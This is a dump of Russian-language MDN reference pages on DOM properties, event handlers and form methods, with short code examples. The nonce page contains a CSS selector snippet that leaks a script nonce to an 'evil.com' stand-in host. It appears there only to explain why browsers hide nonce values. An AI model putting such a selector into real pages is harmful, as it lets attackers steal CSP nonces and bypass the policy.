recursal/MDN huggingface dataset:
HTMLElement.offsetLeft
======================

Свойство **offsetLeft** содержит левое смещение элемента относительно offsetParent. Содержит расстояние от offsetParent до границы элемента.

For block-level elements, `offsetTop`, `offsetLeft`, `offsetWidth`, and `offsetHeight` describe the border box of an element relative to the `offsetParent`.

However, for inline-level elements (such as **span**) that can wrap from one line to the next, `offsetTop` and `offsetLeft` describe the positions of the *first* border box (use `Element.getClientRects()` (en-US) to get its width and height), while `offsetWidth` and `offsetHeight` describe the dimensions of the *bounding* border box (use `Element.getBoundingClientRect()` to get its position). Therefore, a box with the left, top, width and height of `offsetLeft`, `offsetTop`, `offsetWidth` and `offsetHeight` will not be a bounding box for a span with wrapped text.

Syntax
------
```

left = element.offsetLeft;
```


`left` is an integer representing the offset to the left in pixels *from the closest relatively positioned* parent element.

Example
-------


```js
var colorTable = document.getElementById("t1");
var tOLeft = colorTable.offsetLeft;

if (tOLeft > 5) {
  // large left offset: do something here
}
```


This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.

![](/ru/docs/Web/API/HTMLElement/offsetLeft/offsetleft.jpg)


```html
<div
 style="width: 300px; border-color:blue; border-style:solid; border-width:1;">
  <span>Short span. </span>
  <span id="longspan">Long span that wraps within this div.</span>
</div>

<div
 id="box"
 style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"></div>

<script type="text/javascript">
 var box = document.getElementById("box");
 var longspan = document.getElementById("longspan");
 box.style.left = longspan.offsetLeft + document.body.scrollLeft + "px";
 box.style.top = longspan.offsetTop + document.body.scrollTop + "px";
 box.style.width = longspan.offsetWidth + "px";
 box.style.height = longspan.offsetHeight + "px";
</script>
```

Specification
-------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetleft |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.offsetParent` (en-US), `HTMLElement.offsetTop`, `HTMLElement.offsetWidth`, `HTMLElement.offsetHeight`
GlobalEventHandlers.ondragstart
===============================

`global event handler` для события `dragstart (en-US)`.

Синтаксис
---------
```

var dragstartHandler = targetElement.ondragstart;
```

### Возвращаемое значение

`dragstartHandler`

Обработчик событий *dragstart* для элемента `targetElement`.

Пример
------

Этот пример демонстрирует использование `ondragstart` атрибута обработчика для установки обработчика событий элемента `dragstart (en-US)`.


```js
<!DOCTYPE html>
<html lang=en>
<title>Examples of using the ondrag Global Event Attribute</title>
<meta content="width=device-width">
<style>
  div {
    margin: 0em;
    padding: 2em;
  }
  #source {
    color: blue;
    border: 1px solid black;
  }
  #target {
    border: 1px solid black;
  }
</style>
</head>
<script>
function drag\_handler(ev) {
 console.log("Drag");
}

function dragstart\_handler(ev) {
 console.log("dragStart");
 ev.dataTransfer.setData("text", ev.target.id);
}

function drop\_handler(ev) {
 console.log("Drop");
 ev.currentTarget.style.background = "lightyellow";

 ev.preventDefault();
 var data = ev.dataTransfer.getData("text");
 ev.target.appendChild(document.getElementById(data));
}

function dragover\_handler(ev) {
 console.log("dragOver");
 ev.preventDefault();
}
</script>
<body>
<h1>Examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1>
 <div>
   <p id="source" ondrag="drag\_handler(event);" ondragstart="dragstart\_handler(event);" draggable="true">
     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
 </div>
 <div id="target" ondrop="drop\_handler(event);" ondragover="dragover\_handler(event);">Drop Zone</div>
</body>
</html>
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragstart |
| HTML Standard # event-dnd-dragstart |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `dragstart (en-US)`
Element.accessKey
=================

Описание
--------

Свойство **accessKey** позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.

**Примечание:** По сути, **accessKey** задаёт значение для одноимённого атрибута...

**Предупреждение:** Данное свойство использовать не рекомендуется, поскольку в браузерах уже заданы подобные привязки и неосторожное обращение может привести к жестокому конфликту.

Синтаксис
---------
```

var key = elem.accessKey;
elem.accessKey = key;
```

Пример
------


```js
var elem = document.getElementById("id");
elem.accessKey = "w";
```

Немного информации
------------------

Фокусировка на элемент произойдёт при нажатии следующих клавиш (,где **acesskey** - значение свойства **`acessKey`**).

|  |  |
| --- | --- |
| **Браузер** | Сочетание |
| Firefox | [Alt] [Shift] + *accesskey* |
| Internet Explorer | [Alt] + *accesskey* |
| Chrome | [Alt] + *accesskey* |
| Safari | [Alt] + *accesskey* |
| Opera | [Shift] [Esc] + *accesskey* |
HTMLElement.outerText
=====================

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

**`HTMLElement.outerText`** - нестандартное свойство. В качестве геттера возвращает то же значение, что и `Node.innerText`. В качестве сеттера удаляет текущий элемент и вставляет вместо него указанный текст.

Пример
------

См. ответ на StackOverflow.

Спецификация
------------

Не является частью какой-либо спецификации. Обсуждение стандарта: whatwg/html#668.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `Node.innerText`
* `Element.outerHTML`
error
=====

Событие `error` возникает, когда произошла какая-либо ошибка. Точные обстоятельства могут быть различными, потому что события с этим именем используются множеством различных API.

Общая информация
----------------

Спецификация

DOM L3

Интерфейс

`UIEvent` (en-US) если создаётся элементом пользовательского интерфейса, `MediaRecorderErrorEvent` (en-US) если генерируется API записи MediaStream, и `Event` иначе.

Вплывающее

Нет

Отменяемое

Нет

Цель

Элемент

Действие по умолчанию

Нет

Свойства
--------

| Property | Type | Description |
| --- | --- | --- |
| `target` Только для чтения  | `EventTarget` | Цель события (наиболее верхлежащий элемент в DOM дереве). |
| `type` Только для чтения  | `DOMString` | Тип события. |
| `bubbles` Только для чтения  | `Boolean` (en-US) | Является ли событие вплывающим в стандартных условиях или нет. |
| `cancelable` Только для чтения  | `Boolean` (en-US) | Является ли событие отменяемым или нет. |
| `view` Только для чтения  | `WindowProxy` | `document.defaultView` (свойство `window` объекта document) |
| `detail` Только для чтения  | `long` (`float`) | 0. |

### Для MediaStream Recording событий

Эти события типа `MediaRecorderErrorEvent` (en-US).

Смотрите также
--------------

`GlobalEventHandlers.onerror`

События отсылаются в `Window.onerror` и `Element.onerror`

`HTMLMediaElement.onerror` (en-US)

События отсылаются в `HTMLMediaElement`, включая `<audio>` и `<video>`

`MediaRecorder.onerror` (en-US)

События отсылаются в `MediaRecorder.onerror` (en-US), типа `MediaRecorderErrorEvent` (en-US)
HTMLElement.offsetHeight
========================

**`HTMLElement.offsetHeight`** - высота элемента с учётом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.

Typically, an element's `offsetHeight` is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.

For the document body object, the measurement includes total linear content height instead of the element CSS height. Floated elements extending below other linear content are ignored.

**Примечание:** This property will round the value to an integer. If you need a fractional value, use `element.getBoundingClientRect()`.

Syntax
------


```js
var intElemOffsetHeight =
  document.getElementById(id_attribute_value).offsetHeight;
```


*intElemOffsetHeight* is a variable storing an integer corresponding to the offsetHeight pixel value of the element. The offsetHeight property is readonly.

Example
-------

![](/ru/docs/Web/API/HTMLElement/offsetHeight/dimensions-offset.png)

The example image above shows a scrollbar and an offsetHeight which fits on the window. However, non-scrollable elements may have large offsetHeight values, much larger than the visible content. These elements are typically contained within scrollable elements; consequently these non-scrollable elements may be completely or partly invisible, depending on the scrollTop setting of the scrollable container.

Specification
-------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetheight |

### Notes

`offsetHeight` is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box height.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See Also
--------

* `Element.clientHeight`
* `Element.scrollHeight`
* `HTMLElement.offsetWidth`
* Determining the dimensions of elements (en-US)
* MSDN Measuring Element Dimension and Location
HTMLElement: свойство nonce
===========================

Свойство **`nonce`** интерфейса `HTMLElement` возвращает одноразовый криптографический код, используемый Content Security Policy для определения возможности продолжения обработки запроса.

В современных реализациях элементы предоставляют свой атрибут `nonce` только скриптам (но не CSS-селекторам, например).

Примеры
-------

### Получение значения nonce

В прошлом не все браузеры поддерживали IDL-атрибут `nonce`, поэтому было распространено использование `getAttribute` в качестве запасного варианта:


```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```


Современные браузеры не дают получить значения `nonce` таким путём (будет возвращена пустая строка). IDL-свойство (`script['nonce']`) является единственным способом получения `nonce`.

Скрытие `nonce` помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS:


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Глобальный атрибут `nonce` (en-US)
* Content Security Policy
* CSP: `script-src` (en-US)
HTMLElement.offsetWidth
=======================

Свойство **`HTMLElement.offsetWidth`** возвращает ширину элемента. Как правило, `offsetWidth` — это значение, включающее горизонтальный отступ элемента, ширину вертикального скроллбара (если он есть) и CSS ширину.

Синтаксис
---------
```

var offsetWidth = element.offsetWidth;
```


`offsetWidth` — свойство только для чтения

**Примечание:** Это свойство возвращает целочисленное значение. Если вам требуется дробное значение, используйте `element.getBoundingClientRect()`.

Пример
------

![](/ru/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)

Спецификации
------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetwidth |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `Element.clientWidth`
* `Element.scrollWidth` (en-US)
* Determining the dimensions of elements (en-US)
Node.innerText
==============

**`Node.innerText`** - это свойство, позволяющее задавать или получать текстовое содержимое элемента и его потомков. В качестве геттера, свойство приближается к тексту, который пользователь получит, если он выделит содержимое элемента курсором, затем копирует его в буфер обмена.

Изначально, данное поведение было представлено Internet Explorer, и было формально специализированно в стандарте HTML в 2016 после того, как было адаптировано всеми ведущими браузерами.

`Node.textContent` - это альтернативное свойство, которое имеет ряд отличий:

* `textContent` получает содержимое *всех* элементов, включая `<script>` и `<style>`, тогда как `innerText` этого не делает.
* `innerText` умеет считывать стили и не возвращает содержимое скрытых элементов, тогда как `textContent` этого не делает.
* Метод `innerText` позволяет получить CSS, а `textContent` — нет.
Спецификация
------------

| Specification |
| --- |
| HTML Standard # the-innertext-idl-attribute |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `HTMLElement.outerText`
* `Element.innerHTML`
HTMLElement.contentEditable
===========================

Свойство **`HTMLElement.contentEditable`** элемента - признак, указывающий можно или нет редактировать содержимое элемента. Свойство может принимать следующие значения:

* `true или пустая строка - содержимое элемента доступно для редактирования`.
* `false` - содержимое элемента не доступно для редактирования.
* `inherit` - наследуется значение данного свойства от родительского элемента.

Вы можете использовать свойство `HTMLElement.isContentEditable` (en-US), чтобы проверить `Boolean` (en-US) значение этого свойства.

Синтаксис
---------
```

editable = element.contentEditable
element.contentEditable = "true"
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # contenteditable |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

 In Internet Explorer, `contenteditable` cannot be applied to the
 `<table>` (en-US), `<col>`, `<colgroup>` (en-US),
 `<tbody>` (en-US), `<td>`, `<tfoot>`,
 `<th>` (en-US), `<thead>` (en-US), and `<tr>` (en-US) elements
 directly. A content editable `<span>` or `<div>` element
 can be placed inside the individual table cells.

See also
--------

* `HTMLElement.isContentEditable` (en-US)
* The contenteditable global attribute.
* Why ContentEditable is Terrible, Or: How the Medium Editor Works
GlobalEventHandlers.onchange
============================

Свойство `onchange` (Дословно "На изменение") устанавливает и возвращает обработчик события, для события `change (en-US)` (Изменение чего-либо).

Синтаксис
---------
```

element.onchange = handlerFunction; // handlerFunction - ссылка на функцию обработчик, установленная как свойство onchange, для элемента element
var handlerFunction = element.onchange;
```


`handlerFunction` должна быть либо функцией определяющей обработчик события, либо `null` .

Примечания
----------

Почитайте страницу DOM обработчики события (en-US) , там содержится вся информация о работе с `on...` обработчиками.

Документация по событию `change (en-US)`.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-change |
| HTML Standard # handler-onchange |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLElement.offsetTop
=====================

**`HTMLElement.offsetTop`** - свойство элемента доступно только для чтения, возвращает расстояние текущего элемента по отношению к верхней части `offsetParent` (en-US) узла.

Синтаксис
---------


```js
topPos = element.offsetTop;
```

### Параметры

* `topPos` - `это количество пикселей на которые делается отступ сверху, отсносительно родительского элемента.`
Пример
------


```js
var d = document.getElementById("div1");
var topPos = d.offsetTop;

if (topPos > 10) {
  // объект имеет отступ больше
  // чем 10 пикселей относительно своего родителя
}
```

Спецификации
------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsettop |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLElement.click()
===================

Метод **`HTMLElement.click()`** имитирует клик мышкой по элементу.

Когда `click()` используется с поддерживающими его элементами (такими, например, как `<input>`), он вызывает срабатывание события клика мышкой. Это событие затем всплывает вверх по дереву элементов (или цепочке событий) и вызывает срабатывание уже их событий по клику мышкой.

Syntax
------
```

element.click()
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-click-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
GlobalEventHandlers.onsubmit
============================

Обработчик события отправки формы

Синтаксис
---------
```

window.onsubmit = funcRef;
```

### Параметры

* `funcRef` – ссылка на функцию.
Пример
------
```

<html>
<script>
function reg() {
  window.captureEvents(Event.SUBMIT);
  window.onsubmit = hit;
}

function hit() {
  console.log('hit');
}
</script>

<body onload="reg();">
<form>
  <input type="submit" value="submit" />
</form>
<div id="d"> </div>
</body>
</html>
```

Замечания
---------

Событие `submit` возникает, когда пользователь кликает на кнопку "Отправить" в форме (`<input type="submit"/>`)

Событие `submit` не возникает, когда пользователь вызывает функцию `form.submit()` напрямую

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-submit |
| HTML Standard # handler-onsubmit |
HTMLFormElement.submit()
========================

Метод **`HTMLFormElement.submit()`** позволяет отправить форму `<form>`.

Этот метод похож, но не идентичен кнопке `<button>`. , который активирует отправку формы. Однако при непосредственном вызове этого метода:

* Событие `submit (en-US)` не инициировано. В частности, обработчик события `onsubmit` для данной формы не запускается.
* Проверка ограничений (en-US) не запускается.

Метод `HTMLFormElement.requestSubmit()` (en-US) идентичен кнопке `<button>` , которая активирует отправку формы и не имеет различий, указанных выше.

Если элемент управления формы (например, кнопка отправки) имеет `name` или `id` кнопки `submit`, тогда этот метод будет маскировать метод `submit` формы..

Syntax
------
```

HTMLFormElement.submit()
```

Example
-------


```js
document.forms["myform"].submit();
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-submit-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLFormElement.reset()
=======================

Метод **`HTMLFormElement.reset()`** восстанавливает стандартные значения всем элементам формы. Данный метод выполняет действие идентичное нажатию кнопки имеющей тип reset.

Если элемент управления формы (такой как кнопка типа reset) имеет имя или идентификатор reset, это маскирует метод **`HTMLFormElement.reset()`**. Это не сбрасывает другие атрибуты, такие как **disabled**.

Синтаксис
---------


```js
HTMLFormElement.reset();
```

Пример
------


```js
document.getElementById("myform").reset();
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-reset-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLFormElement.reportValidity()
================================

Baseline 2023
-------------

Newly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.

* Learn more
* See full compatibility
* Report feedback
Метод **`HTMLFormElement.reportValidity()`** возвращает **`true`** если все дочерние элементы прошли проверку. Когда возвращается **`false`**, по каждому дочернему элементу не прошедшему проверку генерируется событие `invalid` и пользователю сообщаются проблемы проверки.

Синтаксис
---------
```

HTMLFormElement.reportValidity()
```

Пример
------
```

document.forms["myform"].addEventListener('invalid', function() {
  //Опциональный ответ здесь.
}, false);

document.forms["myform"].addEventListener('submit', function() {
  document.forms["myform"].reportValidity();
}, false);
```

Спецификация
------------

HTML 5.1 Forms: The Constraint Validation API

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLFormElement.length
======================

**`HTMLFormElement.length`** - свойство только для чтения, которое возвращает количество элементов управления в элементе `<form>`. Вы можете получить доступ к списку элементов управления формы с помощью свойства `elements`.

Это свойство учитывает элементы, которые являются потомками элемента `<form>`, а также элементы, которые были определены как члены этой формы с помощью их свойства `form`.

Синтаксис
---------


```js
numControls = form.length;
```

### Значение

Количество управляющих элементов внутри формы `<form>`. Это то же число, что и число элементов в `HTMLFormControlsCollection` (en-US), возвращаемой свойством `elements`.

Пример
------


```js
if (document.getElementById("form1").length > 1) {
  // в форме больше одного управляющего элемента
}
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-length-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.